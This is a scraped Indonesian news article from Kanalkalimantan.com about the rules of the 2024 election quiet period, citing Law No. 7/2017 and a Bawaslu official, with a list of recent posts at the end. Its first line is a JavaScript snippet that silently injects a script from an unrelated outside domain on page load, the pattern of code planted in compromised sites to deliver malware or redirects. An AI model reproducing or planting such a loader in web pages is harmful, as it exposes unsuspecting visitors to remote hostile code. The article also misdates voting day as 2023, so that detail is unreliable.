(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Pemilu 2024

Larangan Selama Masa Tenang Pemilu 2024


KANALKALIMANTAN.COM, BANJARMASIN – Setelah tahapan masa kampanye Pemilu 2024 selama 75 hari selesai, masa tenang resmi dimulai, Minggu (11/2/2024).

Selama 3 hari hingga hari H pemungutan suara tanggal 14 Februari 2023,  sejumlah larangan berlaku bagi selurh peserta Pemilu di semua tingkatan.

Selama masa tenang, seluruh peserta Pemilu dilarang melakukan kegiatan yang mengarah kepada aktivitas kampanye. Aturan itu tertuang dalam Undang-Undang Nomor 7 Tahun 2017 pasal 1 angka 36 bahwa masa tenang adalah masa yang tidak dapat digunakan untuk melakukan aktifitas kampanye Pemilu.

Peserta Pemilu selama masa tenang juga dilarang menyiarkan berita, iklan, rekam jejak peserta Pemilu yang mengarah pada kepentingan kampanye. Hal itu berlaku di media massa cetak, media online, maupun media sosial (Medsos). Dasar hukumnya tertuang dalam Pasal 287 ayat (5) Undang-Undang Nomor 7 tentang Pemilu.

Penertiban bendera Parpol di kawasan Bandara Syamsudin dilakukan Satpol PP Banjarbaru, Minggu (11/2/2024) siang. Foto: wanda

Baca juga: Tak Dilepas Pemilik, Baliho Caleg dan Bendera Parpol Diturunkan Bawaslu Banjarbaru

Kemudian dalam pasal 449 ayat 2, jejak pendapat yang dilakukan oleh lembaga survei juga terlarang untuk dilakukan.

Selanjutnya, memberikan ataupun menjanjikan sesuatu kepada pemilih untuk memilih pasangan calon tertentu, memilih Parpol tertentu, memilih caleg DPR RI dan DPD, memilih DPRD Provinsi dan Kabupaten/Kota, ataupun tidak menggunakan hak pilihnya, juga sangat dilarang dan ada konsekuensi hukum bagi yang melanggaranya.

Pasal 523 ayat 2 Undang-Undang Nomor 7 Tahun 2017 tentang Pemilu mengatur, pelaksana, peserta, atau tim kampanye Pemilu yang dengan sengaja pada masa tenang menjanjikan atau memberikan imbalan uang atau materi lainnya kepada pemilih secara langsung ataupun tidak langsung dapat dipidana dengan pidana penjara paling lama 4 tahun dan denda paling banyak Rp48.000.000.

Baca juga: Masa Tenang Masih Terpasang, APK di Martapura Kota Diturunkan Pengawas

Anggota Bawaslu Provinsi Kalimantan Selatan, Thessa Aji Budiono mengatakan, jajaran Bawaslu Provinsi dan Kabupaten/Kota telah mengirimkan surat imbauan terkait masa tenang kepada seluruh peserta Pemilu.

Isinya dal surat imbauan pada pokoknya mengimbau agar peserta pemiku mentaati larangan selama masa tenang sebagaimana yang diatur dalam Undang-Undang Nomor 7 Tahun 2017 pasal 1 angka 36 bahwa masa tenang adalah masa yang tidak dapat digunakan untuk melakukan aktifitas kampanye Pemilu.

Termasuk pada surat tersebut kata Thessa, pihaknya sebelumnya meminta peserta Pemilu untuk menurunkan alat peraga kampanye (APK) yang masih terpasang, sebelum diterbitkan oleh petugas.

“Intinya kita mengimbau peserta Pemilu agar tidak melakukan aktivitas kampanye dengan metode apapun,” jelas Thessa. (Kanalkalimantan.com/rizki)

Reporter : rizki
Editor : bie


Al Ghifari

Recent Posts

Banjarbaru Posisi Kedua Klasemen Sementara Popda Kalsel 2024

KANALKALIMANTAN.COM, BANJARBARU - Sejumlah cabang olahraga (cabor) unggulan membawa kontingen Kota Banjarbaru bertengger di posisi… Read More

42 menit ago

Hasnur Resmi Lamar Partai Golkar, Mencari ‘Pintu’ Koalisi Pilgub Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Langkah Hasnuryadi Sulaiman untuk maju pada kontestasi Pemilihan Gubernur dan Wakil Gubernur… Read More

2 jam ago

Pasti Maju Pilwali Banjarbaru, Ovie Simpan Nama Pasangan

KANALKALIMANTAN.COM, BANJARBARU - Aditya Mufti Ariffin memastikan akan kembali berkontestasi dalam Pemilihan Kepala Daerah (Pilkada)… Read More

3 jam ago

Soal Caleg Terpilih Mundur atau Tidak Mundur Jika Maju Pilkada, Begini Penjelasan KPU Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Anggota Komisi Pemilihan Umum (KPU) Provinsi Kalimantan Selatan (Kalsel), Fahmi Failasopa menegaskan… Read More

6 jam ago

Jalan Pangeran Suriansyah Banjarbaru Steril PKL dan Parkir Tepi Jalan

KANALKALIMANTAN.COM, BANJARBARU - Aktivitas Pedagang Kaki Lima alias PKL di sepanjang jalan Pangeran Suriansyah, Kelurahan… Read More

8 jam ago

Wapres Serahkan Motor Perpustakaan Keliling ke Pemkab HSU

KANALKALIMANTAN.COM, JAKARTA - Wakil Presiden RI, KH Ma’ruf Amin secara simbolis menyerahkan bantuan Motor Perpustakaan… Read More

9 jam ago

This website uses cookies.